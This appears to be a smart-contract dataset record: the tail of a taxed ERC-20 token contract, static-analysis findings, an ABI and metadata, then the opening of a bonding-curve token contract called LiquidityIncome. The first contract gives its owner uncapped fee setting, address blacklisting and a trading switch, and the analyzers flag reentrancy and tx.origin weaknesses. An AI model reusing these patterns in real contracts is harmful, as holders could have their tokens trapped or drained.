account is blacklisted!"); if(to != uniswapV2Pair) { if(from == uniswapV2Pair && transferDelay){ require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys"); } require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _swapTokensAtAmount) { contractTokenBalance = _swapTokensAtAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0 ether) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _taxFee = _taxFeeOnSell; } } _lastTX[tx.origin] = block.timestamp; _lastTX[to] = block.timestamp; _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { uint256 ethAmt = tokenAmount.mul(85).div(100); uint256 liqAmt = tokenAmount - ethAmt; uint256 balanceBefore = address(this).balance; address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( ethAmt, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); addLiquidity(liqAmt, amountETH.mul(15).div(100)); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(0), block.timestamp ); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) {_transferNoTax(sender,recipient, amount);} else {_transferStandard(sender, recipient, amount);} } function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{ for (uint256 i = 0; i < recipients.length; i++) { _transferNoTax(msg.sender,recipients[i], amount[i]); } } function _transferStandard( address sender, address recipient, uint256 amount ) private { uint256 amountReceived = takeFees(sender, amount); _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFees(address sender,uint256 amount) internal returns (uint256) { uint256 feeAmount = amount.mul(_taxFee).div(100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } receive() external payable {} function transferOwnership(address newOwner) public override onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _isExcludedFromFee[owner()] = false; _transferOwnership(newOwner); _isExcludedFromFee[owner()] = true; } function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function setIsFeeExempt(address holder, bool exempt) public onlyOwner { _isExcludedFromFee[holder] = exempt; } function toggleTransferDelay() public onlyOwner { transferDelay = !transferDelay; } }
[]
[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [189]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [204]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [512, 513, 514]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [256, 257, 258]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [504, 505, 506]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [80, 78, 79]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [483, 484, 485, 486, 487, 488, 489]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [248, 249, 250]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [431, 432, 433, 434, 435]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [496, 497, 498]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [508, 509, 510]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [491, 492, 493, 494]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [500, 501, 502]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [273, 274, 275, 276, 277, 278, 279, 280]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [437, 438, 439]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [451, 452, 453, 454, 455]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [244, 245, 246]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [517, 518, 519]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [252, 253, 254]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [288, 289, 282, 283, 284, 285, 286, 287]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [424, 422, 423]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vector35.sol": [264, 265, 266, 267, 268, 269, 270, 271]}}, {"check": "function-init-state", "impact": "Informational", "confidence": "High", "lines": {"Vector35.sol": [199]}}, {"check": "function-init-state", "impact": "Informational", "confidence": "High", "lines": {"Vector35.sol": [198]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Vector35.sol": [67, 68, 69]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Vector35.sol": [67, 68, 69]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"Vector35.sol": [509]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"Vector35.sol": [505]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"Vector35.sol": [493]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"Vector35.sol": [497]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Vector35.sol": [216]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Vector35.sol": [185]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Vector35.sol": [500]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Vector35.sol": [181]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Vector35.sol": [182]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Vector35.sol": [183]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Vector35.sol": [158]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Vector35.sol": [189]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Vector35.sol": [214]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Vector35.sol": [215]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Vector35.sol": [422]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Vector35.sol": [186]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Vector35.sol": [315]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Vector35.sol": [315]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Vector35.sol": [371]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"Vector35.sol": [376]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"Vector35.sol": [377]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"Vector35.sol": [297, 298, 299, 300, 301, 302, 303, 304]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"Vector35.sol": [398]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"Vector35.sol": [297, 298, 299, 300, 301, 302, 303, 304]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"Vector35.sol": [377]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Vector35.sol": [335]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"Vector35.sol": [216]}}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium", "lines": {"Vector35.sol": [335]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Vector35.sol": [416, 417, 418, 411, 412, 413, 414, 415]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"Vector35.sol": [177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511, 512, 513, 514, 515, 516, 517, 518, 519, 520, 521]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 204, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 229, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 79, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 411, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 282, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 432, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 452, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 432, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 452, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 422, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 23, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 57, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 181, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 182, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 183, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 187, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 188, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 192, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 195, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 198, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 199, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 204, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 209, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 210, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 211, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 212, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 179, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 170, "severity": 1}, {"rule": "SOLIDITY_TX_ORIGIN", "line": 335, "severity": 2}, {"rule": "SOLIDITY_TX_ORIGIN", "line": 375, "severity": 2}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 451, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 451, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 62, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 148, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 225, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 151, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 152, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 153, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 185, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 186, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 189, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 481, "severity": 1}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"toggleTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
v0.8.9+commit.e5eed63a
false
200
Default
Unlicense
false
ipfs://1d7cf357cfa58fd9d2661831e382e44082d71936d0d94996d94aa5239e71a8c5
LiquidityIncome
0x375da3e307ef2e1a9d9e1516f80738ca52cb7b85
Solidity
/* This contract is provided "as is" and "with all faults." The deployer makes no representations or warranties of any kind concerning the safety, suitability, lack of exploits, inaccuracies, typographical errors, or other harmful components of this contract. There are inherent dangers in the use of any contract, and you are solely responsible for determining whether this contract is safe to use. You are also solely responsible for the protection of your funds, and the deployer will not be liable for any damages you may suffer in connection with using, modifying, or distributing this contract. */ pragma solidity ^0.5.17; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "LBI::SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint a, uint b) internal pure returns (uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint a, uint b) internal pure returns (uint) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b != 0, errorMessage); return a % b; } } interface UniswapPair { function sync() external; function transferFrom(address from, address to, uint value) external returns (bool); function balanceOf(address account) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function mint(address to) external returns (uint liquidity); } interface IBondingCurve { function calculatePurchaseReturn(uint _supply, uint _reserveBalance, uint32 _reserveRatio, uint _depositAmount) external view returns (uint); } interface WETH9 { function deposit() external payable; function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function approve(address spender, uint amount) external returns (bool); } interface Uniswap { function factory() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); } interface Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); } interface LBI { function approve(address spender, uint amount) external returns (bool); } interface RewardDistributionDelegate { function notifyRewardAmount(uint reward) external; } interface RewardDistributionFactory { function deploy( address lp_, address earn_, address rewardDistribution_, uint8 decimals_, string calldata name_, string calldata symbol_ ) external returns (address); } interface GovernanceFactory { function deploy(address token) external returns (address); } contract LiquidityIncome { using SafeMath for uint; /* BondingCurve */ uint public scale = 10**18; uint public reserveBalance = 1*10**14; uint32 public constant RATIO = 500000; WETH9 constant public WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); function () external payable { mint(0); } function mint(uint min) public payable { require(msg.value > 0, "LBI::mint: msg.value = 0"); uint _bought = _continuousMint(msg.value); require(_bought >= min, "LBI::mint: slippage"); WETH.deposit.value(msg.value)(); WETH.transfer(address(pool), WETH.balanceOf(address(this))); pool.sync(); _mint(msg.sender, _bought, true); } IBondingCurve constant public CURVE = IBondingCurve(0x16F6664c16beDE5d70818654dEfef11769D40983); function _buy(uint _amount) internal returns (uint _bought) { _bought = _continuousMint(_amount); } function calculateMint(uint _amount) public view returns (uint mintAmount) { return CURVE.calculatePurchaseReturn(totalSupply, reserveBalance, RATIO, _amount); } function _continuousMint(uint _deposit) internal returns (uint) { uint amount = calculateMint(_deposit); reserveBalance = reserveBalance.add(_deposit); return amount; } /// @notice EIP-20 token name for this token string public constant name = "Liquidity Income"; /// @notice EIP-20 token symbol for this token string public constant symbol = "LBI"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public totalSupply = 0; // Initial 0 /// @notice the last block the tick was applied uint public lastTick = 0; /// @notice the uniswap pool that will receive the rebase UniswapPair public pool; RewardDistributionDelegate public rewardDistribution; RewardDistributionFactory public constant REWARDFACTORY = RewardDistributionFactory(0x323B2b67Ed1a745e5208ac18625ecef187a421D0); GovernanceFactory public constant GOVERNANCEFACTORY = GovernanceFactory(0x4179Ef5dC359A4f73D5A14aF264f759052325bc1); /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint)) internal allowances; 